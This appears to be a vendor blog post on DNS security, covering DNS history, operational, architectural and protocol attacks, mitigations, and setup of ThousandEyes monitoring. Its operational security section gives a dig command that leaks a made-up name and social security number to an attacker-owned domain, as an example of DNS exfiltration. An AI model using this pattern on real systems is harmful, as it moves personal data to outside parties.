The Domain Name System (DNS) is one of the most critical components of IT infrastructure. All online services depend on its proper operation. Without DNS, users are unable to access email, CRM applications, and other services, and if DNS is compromised, users may lose their data. DNS services can be secured with the right configuration and deployment of appropriate solutions. The focus of this post is the security of external DNS for public domain names and IP addresses, where integrity and availability are the most important factors of security.
History of the Domain Name System
The predecessor to DNS was a file called “hosts.txt” that contained name to address mapping. It still exists even in modern operating systems as an alternative name resolution mechanism. RFC 810, published in 1982, defined Internet host table specification. When the network was small, the content of the file was relatively easy to manage (imagine, all of today’s internet hosts in a single file!).
With more hosts added, file-based management and name resolution became impractical. In 1983, the core of DNS was specified by Paul Mockapetris in RFCs 882 and 883 and then finalized in 1984 in RFC 920.
The first DNS server, JEEVES, was written in 1983-1984 by Paul Mockapetris himself. It ran on a DEC PDP-10 mainframe computer with the TOPS-20 operating system and was deployed in 1984 at the University of Southern California Information Sciences Institute and the Stanford Research Institute. It supported all the top level domains: ARPA, GOV, EDU, COM, MIL, and ORG. That same year, the University of California, Berkeley and Stanford University each came up with their own DNS software implementations for UNIX. The DNS server from Berkeley, written by Kevin Dunlap, was called BIND (Berkeley Internet Name Domain). BIND is still in use, with its latest version, v9, released in 2000 with many updates. Microsoft released its first DNS server with the Windows NT operating system in 1993. With multiple major upgrades, its latest version is included in Windows Server 2016.
DNS Overview
To simplify, the main purpose of DNS is to get a hostname based on an IP address and an IP address based on a hostname. It is a hierarchical, distributed database that stores information about Internet hosts. The following components make up the Domain Name System:
- Name Space (or namespace) - hierarchical and logical tree structure that describes the position of the remote host by means of a domain name
- Name Servers - contain information on how to navigate the Name Space
- Resolvers - query the Name Servers for the location of the remote host
DNS Security
Being 30+ years old, DNS has security issues. There are operational issues, architectural issues, and protocol issues. Let’s take a look at each of these.
Operational Security
Attacks against Operations
Most of the problems in this category are related to the use of older versions of operating systems, failure to stay current with patch management, and poor configuration management. Attacks are exploiting vulnerabilities in DNS implementation and as a result of those attacks, both availability and integrity may be affected. Just try searching the Internet for “BIND vulnerabilities”; during the first quarter of 2016, 3 new BIND vulnerabilities were published.
Poor DNS configuration management leads to improper updates, slow responses, bad data, potential denial of service, and other problems. Also DNS can be used by an attacker to exfiltrate data by making DNS requests with important data which will be forwarded to their DNS server. For example, the following command:
dig john.doe654321098.domainownedbyanattacker.com
will deliver the name (John Doe) and social security number (654-32-1098) to the DNS server that is hosting the domain domainownedbyanattacker.com. Any information might be exfiltrated using DNS queries.
Mitigation
Good vulnerability management and automated patch management along with efficient change management processes are required to properly mitigate most of the issues related to operations security of DNS infrastructure. It is also important to stay informed about new vulnerabilities discovered in the software and to perform risk assessments for major changes.
Additionally, develop (or borrow) good security benchmarks for components of your DNS infrastructure (OS and DNS Software). The Center for Internet Security provides good security benchmarks for multiple operating systems and DNS server software (Microsoft DNS and BIND). Keep in mind, security starts with the physical layer. If an attacker has physical access to your servers, DNS data integrity will be compromised. Run anti-malware and/or file integrity checking software. Another recommendation is to run DNS software on a dedicated machine.
Make sure to log DNS query data in an attempt to discover data exfiltration. Use DNS Response Policy Zones (DNS RPZ) feeds in the DNS server to keep a constantly updated blacklist of known malicious domains and configure the DNS server itself to deny malicious DNS queries.
Last but not least, always include DNS infrastructure into your network penetration testing projects.
Architecture
Attacks using Architectural Weaknesses
First of all, the architecture needs to satisfy all business requirements and take into consideration specific technical decisions like internal DNS vs. external DNS, zone delegation, and DNS query forwarding. Some companies would not be concerned if the external DNS zone were stolen by using improperly configured zone transfer or other techniques, because the confidentiality of this data is not a priority. If a DNS server hosts the external and internal zones and, as a result of an attack, the internal zone loses its confidentiality, it becomes a serious issue as an attacker could learn a lot about the internal hosts and networks.
Denial of service attacks are easy to execute if redundancy and scalability were not built into the architecture. Also an attacker can use the Name Servers as multipliers to carry out DoS attacks on other hosts or networks or to target other DNS servers (DNS amplification attack).
Mitigation
To mitigate some of the issues described above, the architecture must allow for the deployment of highly available DNS infrastructure, avoiding single points of failure. Do not place all DNS servers in the same subnet and/or behind the same router. Also, diversify across geographic locations. Consider third-party DNS management services, such as Verisign Managed DNS or purposely-built DNS systems such as Infoblox Secure DNS.
Use standard DDoS mitigation techniques from your existing vendors and third party monitoring services, such as ThousandEyes DNS+, to monitor the availability of your domains globally (refer to the next section for detailed information).
Make sure everything is in its proper place, like zone delegations. Keep in mind both forward and reverse zones. Make sure zone transfer is configured properly, especially if confidentiality of information in a specific zone is important (for example in internal DNS implementation).
DNS logging and correlation will help to identify DoS attacks where Name Servers were used as multipliers. Intrusion prevention systems (including next-generation firewalls) can help to minimize the probability and/or duration of attacks against Name Servers by applying DNS-aware filtering.
Protocol Security
Attacks on DNS Protocol
A number of weaknesses in DNS protocol lead to client misdirection. The following major attacks are examples:
- DNS cache poisoning (or Name-based attacks)
- DNS spoofing and ID hacking
Many attacks apply to both Name Servers and Resolvers.
With DNS cache poisoning, the hacker will try to make a DNS answer something he wants for a specific request. For example, he may want to resolve www.yourbank.com into an address he owns and capture user credentials.
DNS spoofing is a term that refers to the action of answering a DNS request that was intended for another server (a “real” DNS server). DNS ID hacking is the process of finding out the ID of a DNS query to impersonate the reply.
Mitigation
While it is impossible to verify the integrity of every DNS reply, it is very useful to establish global DNS integrity monitoring. Use ThousandEyes DNS integrity monitoring with alerts to be aware about potential issues in the integrity of your data (refer to the next section for detailed information).
DNSSEC (RFC 2535) is a solution to most of the described problems with DNS protocol; however, due to backward compatibility reasons, this will not replace existing infrastructure anytime soon. IT Operations groups should apply all described techniques to secure their networks against these threats.
ThousandEyes DNS Monitoring
Availability
There are two easy ways to configure monitoring of the availability of your DNS records using ThousandEyes. First, use DNS+ for a wide range of vantage points for your external DNS records:
To do so, on the ThousandEyes dashboard, go to Tests, select +, and click DNS+; enter the record you want to monitor and the frequency, and enable required alerts.
This will ensure global availability of your specific DNS record. Set up alerts and establish a response process to those alerts if availability drops below the expected value. Monitor as many DNS records as needed.
The second method involves the use of DNS tests assigned to Cloud and Enterprise Agents. The use of Enterprise Agents will give you visibility into the internal and external DNS infrastructure, while Cloud Agents deliver monitoring of publicly-facing DNS.
On the ThousandEyes dashboard, go to Test, select +, click DNS and enter the DNS record to monitor and frequency, then select agents to run monitoring, enter DNS servers to target and enable alerts as needed.
This will provide all metrics including packet loss, latency and routing that may impact the reachability or performance of internal or external DNS servers. Configure tests for all critical DNS records and target multiple DNS servers including those outside of your control and those owned and operated by major Internet and service providers.
Integrity
DNS integrity monitoring is similar to the previous DNS test. To achieve integrity monitoring, set up rules to alert you in case the DNS server returns a resolution for your record which differs from the expected. You can do this by adding a new alert rule, selecting “DNS” as the layer and using Mapping to help you understand the record accuracy in the Name Servers of your Internet and service providers and your own servers using queries from Enterprise Agents. Update the alert conditions to match your expected responses. You’ll want an alert rule for each record that you test. This will help you monitor DNS data integrity and will alert you when cache poisoning or spoofing occur.
Conclusion
It is very important to manage DNS infrastructure properly. The protocol is old and new techniques are constantly being developed to attack it. Apply vulnerability management, patch management and service resiliency as part of the architecture. Implement new processes and modern technologies to monitor DNS availability and integrity, and establish good response processes.